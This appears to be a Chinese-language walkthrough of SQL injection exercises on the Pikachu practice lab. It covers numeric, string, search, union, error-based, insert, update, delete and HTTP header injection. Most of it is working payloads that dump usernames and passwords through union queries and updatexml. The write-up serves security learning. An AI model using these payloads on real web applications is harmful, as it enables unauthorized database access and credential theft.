数字型sql注入(post型):
先输入1:
由于是post型,所以抓包修改为恒成立:
id=1 or 1=1
可以看到,页面返回了所有的数据信息。
字符型sql注入(get类型):
直接输入:
字符型注入需要闭合sql语句,然后加上恒成立,得到所有数据:
kobe' or 1=1 #
搜索型注入:
搜索一个字母k尝试:
查看源码:
可以看到,这里用了搜索的sql语句:select username ,id ,email from member where username like '%$name%'
同样的道理,可以选择闭合sql语句:k%' or 1=1#:
得到所有数据:
XX型注入:
数据包裹方式不同而已:a') or 1=1#
联合注入:(以最后一个类型为例)
判断字段数:a') order by 3#
a') order by 2#
可以知道字段数是2
然后使用联合查询语句得到数据库:pikachu
a') union select database(),2#
查询数据库中的表
x') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
查询users表中的字段名:
x') union select table_name,column_name from information_schema.columns where table_name='users'#
联合查处得到用户名和密码:a') union select username,password from users#
报错注入:
条件:后台没有屏蔽报错信息
常用函数:updatexml() exactvalue() floor()(取整函数)
其他步骤省略(可以根据上面修改payload)。直接得到用户名和密码:
k') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)#
insert注入:
插入类型sql语句: insert into member (username ,pw,sex,phonenum,email,address) valuse('hzk','123456',1,123,123,123);
在插入的必填项中:hzk' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
其他步骤相同,复制payload即可。
update注入:
先登录进去,然后在修改信息的框中直接填入语句即可,payload和insert的相同:
hzk' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
得到用户名和密码
delete类型注入:
删除时抓包看一下:
后台根据id然后删除,发送到repeater,然后改包:
id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)
因为是在url中,所以需要进行url的编码:
得到用户名密码。
Http Header注入:
登陆之后发现有对头部信息的获取,所以可能存在注入
抓包:
修改user-agent或者cookie完成注入:
firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
得到用户名密码。